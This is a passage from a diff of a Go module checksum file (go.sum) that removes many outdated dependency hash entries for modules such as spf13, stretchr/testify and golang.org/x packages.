h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= github.com/spf13/cast v1.3.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= github.com/spf13/cast v1.5.0 h1:rj3WzYc11XZaIZMPKmwP96zkFEnnAmV8s6XbB2aY32w= github.com/spf13/cast v1.5.0/go.mod h1:SpXXQ5YoyJw6s3/6cMTQuxvgRl3PCJiyaX9p6b155UU= -github.com/spf13/cobra v0.0.5/go.mod h1:3K3wKZymM7VvHMDS9+Akkh4K60UwM26emMESw8tLCHU= github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE= github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA= github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY= @@ -1556,7 +473,6 @@ github.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0 github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s= github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE= github.com/spf13/viper v1.15.0 h1:js3yy885G8xwJa6iOISGFwd+qlUo5AvyXb7CiihdtiU= github.com/spf13/viper v1.15.0/go.mod h1:fFcTBJxvhhzSJiZy8n+PeW6t8l+KeT/uTARa0jHOQLA= @@ -1566,162 +482,73 @@ github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+ github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= -github.com/stretchr/testify v0.0.0-20161117074351-18a02ba4a312/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= -github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= -github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.7.5/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= -github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -github.com/stretchr/testify v1.8.3/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/subosito/gotenv v1.4.2 h1:X1TuBLAMDFbaTAChgCBLu3DU3UPyELpnF2jjJ2cz/S8= github.com/subosito/gotenv v1.4.2/go.mod h1:ayKnFf/c6rvx/2iiLrJUk1e6plDbT3edrFNGqEflhK0= -github.com/tailscale/depaware v0.0.0-20210622194025-720c4b409502/go.mod h1:p9lPsd+cx33L3H9nNoecRRxPssFKUwwI50I3pZ0yT+8= -github.com/tdewolff/minify/v2 v2.12.8/go.mod h1:YRgk7CC21LZnbuke2fmYnCTq+zhCgpb0yJACOTUNJ1E= -github.com/tdewolff/parse/v2 v2.6.7/go.mod h1:XHDhaU6IBgsryfdnpzUXBlT6leW/l25yrFBTEb4eIyM= -github.com/tdewolff/test v1.0.9/go.mod h1:6DAvZliBAAnD7rhVgwaM7DE5/d9NMOAJ09SqYqeK4QE= -github.com/tklauser/go-sysconf v0.3.11/go.mod h1:GqXfhXY3kiPa0nAXPDIQIWzJbMCB7AmcWpGR8lSZfqI= -github.com/tklauser/numcpus v0.6.0/go.mod h1:FEZLMke0lhOUG6w2JadTzp0a+Nl8PF/GFkQ5UVIcaL4= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= -github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= -github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc= -github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljTbGfSG7qAOspJ7OScBnGdDN/yBr0sguwnwf0= -github.com/ugorji/go/codec v1.2.11/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= -github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= -github.com/valyala/fasttemplate v1.2.1/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= -github.com/valyala/fasttemplate v1.2.2/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= -github.com/vmihailenco/msgpack/v5 v5.3.5/go.mod h1:7xyJ9e+0+9SaZT0Wt1RGleJXzli6Q/V5KbhBonMG9jc= -github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= -github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= -github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= -github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y= github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q= -github.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0/go.mod h1:/LWChgwKmvncFJFHJ7Gvn9wZArjbV5/FppcK2fKk/tI= -github.com/yosssi/ace v0.0.5/go.mod h1:ALfIzm2vT7t5ZE7uoIZqF3TQ7SAOyupFZnkrF5id+K0= -github.com/yudai/gojsondiff v1.0.0/go.mod h1:AY32+k2cwILAkW1fbgxQ5mUmMiZFgLIV+FBNExI05xg= -github.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82/go.mod h1:lgjkn3NuSvDfVJdfcVVdX+jpBxNmX4rDAzaS45IcYoM= -github.com/yudai/pp v2.0.1+incompatible/go.mod h1:PuxR/8QJ7cyCkFp/aUDS+JY727OFEZkTdatxwunjIkc= github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= -github.com/yuin/goldmark v1.4.1/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= -github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= -github.com/yusufpapurcu/wmi v1.2.3/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= -github.com/zeebo/assert v1.3.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0= -github.com/zeebo/xxh3 v1.0.2/go.mod h1:5NWz9Sef7zIDm2JHfFlcQvNekmcEl9ekUZQQKCYaDcA= github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q= go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= -go.etcd.io/bbolt v1.3.7/go.mod h1:N9Mkw9X8x5fupy0IKsmuqVtoGDyxsaDlbk4Rd05IAQw= -go.etcd.io/etcd/api/v3 v3.5.6/go.mod h1:KFtNaxGDw4Yx/BA4iPPwevUTAuqcsPxzyX8PHydchN8= -go.etcd.io/etcd/client/pkg/v3 v3.5.6/go.mod h1:ggrwbk069qxpKPq8/FKkQ3Xq9y39kbFR4LnKszpRXeQ= -go.etcd.io/etcd/client/v2 v2.305.6/go.mod h1:BHha8XJGe8vCIBfWBpbBLVZ4QjOIlfoouvOwydu63E0= -go.etcd.io/etcd/client/v3 v3.5.6/go.mod h1:f6GRinRMCsFVv9Ht42EyY7nfsVGwrNO0WEoS2pRKzQk= -go.etcd.io/gofail v0.1.0/go.mod h1:VZBCXYGZhHAinaBiiqYvuDynvahNsAyLFwB3kEHKz1M= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= -go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= -go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= -go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= -go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= -go.opentelemetry.io/proto/otlp v0.15.0/go.mod h1:H7XAot3MsfNsj7EXtrA2q5xSNQ10UqI405h3+duxN4U= -go.opentelemetry.io/proto/otlp v0.19.0/go.mod h1:H7XAot3MsfNsj7EXtrA2q5xSNQ10UqI405h3+duxN4U= go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= -go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= -go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= -go.uber.org/automaxprocs v1.5.1/go.mod h1:BF4eumQw0P9GtnuxxovUd06vwm1o18oMzFtK66vU6XU= -go.uber.org/goleak v1.1.11/go.mod h1:cwTWslyiVhfpKIDGSZEM2HlOvcqm+tG4zioyIeLoqMQ= go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4= go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU= -go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= -go.uber.org/multierr v1.8.0/go.mod h1:7EAYxJLBy9rStEaz58O2t4Uvip6FSURkq8/ppBp95ak= go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM= -go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= -go.uber.org/zap v1.21.0/go.mod h1:wjWOCqI0f2ZZrJF/UufIOkiC8ii6tm1iqIsLo76RfJw= -golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= -golang.org/x/arch v0.3.0/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= -golang.org/x/arch v0.4.0/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= golang.org/x/crypto v0.0.0-20180501155221-613d6eafa307/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20181025213731-e84da0312774/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/crypto v0.0.0-20181203042331-505ab145d0a9/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190411191339-88737f569e3a/go.mod h1:WFFai1msRO1wXaEeE5yQxYXgSfI8pQAWXbQop6sCtWE= golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200510223506-06a226fb4e37/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= -golang.org/x/crypto v0.0.0-20210314154223-e6e6c4f2bb5b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.0.0-20220314234659-1baeb1ce4c0b/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw= -golang.org/x/crypto v0.5.0/go.mod h1:NK/OQwhpMQP3MwtdjgLlYHnH9ebylxKWv3e0fK+mkQU= -golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= -golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= -golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0= -golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio= -golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= -golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4= golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k= golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= -golang.org/x/exp v0.0.0-20180321215751-8460e604b9de/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20180807140117-3d87b88a115f/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20190125153040-c74c464bbbf2/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= -golang.org/x/exp v0.0.0-20191002040644-a1355ae1e2c3/go.mod h1:NOZ3BPKG0ec/BKJQgnvsSFpcKLM5xXVWnvZS97DWHgE= golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= -golang.org/x/exp v0.0.0-20220827204233-334a2380cb91/go.mod h1:cyybsKvd6eL0RnXn6p/Grxp8F5bW7iYuBgsNCOHpMYE= -golang.org/x/image v0.0.0-20180708004352-c73c2afc3b81/go.mod h1:ux5Hcp/YLpHSI86hEcLt0YII63i6oz57MZXIpbrjZUs= golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20190910094157-69e4b8554b2a/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20200119044424-58c23975cae1/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20200430140353-33d19683fad8/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20200618115811-c13761719519/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20201208152932-35266b937fa6/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20210216034530-4410531fe030/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20210607152325-775e3b0c77b9/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= -golang.org/x/image v0.0.0-20210628002857-a66eb6448b8d/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= -golang.org/x/image v0.0.0-20211028202545-6944b10bf410/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= -golang.org/x/image v0.0.0-20220302094943-723b81ca9867/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= @@ -1732,8 +559,6 @@ golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHl golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/lint v0.0.0-20210508222113-6edffad5e616/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= @@ -1742,30 +567,15 @@ golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzB golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.5.0/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= -golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= -golang.org/x/mod v0.6.0-dev.0.20220106191415-9b9b3d81d5e3/go.mod h1:3p9vT2HGsQu2K1YbXdKPJLVgG5VJdoTa1poYQBtP1AY= -golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= -golang.org/x/mod v0.6.0/go.mod h1:4mET923SAdbXp2ki8ey+zGs1SLqsuM2Y0uvdZR/fUNI= -golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.9.0 h1:KENHtAZL2y3NLMYZeHY9DW8HW8V+kQyJsY/V9JlKvCs= golang.org/x/mod v0.9.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/mod v0.10.0 h1:lFO9qtOdlre5W1jxS3r/4szv2/6iXxScdzjoBMXNhYk= -golang.org/x/mod v0.10.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/net v0.0.0-20180218175443-cbe0f9307d01/go.mod 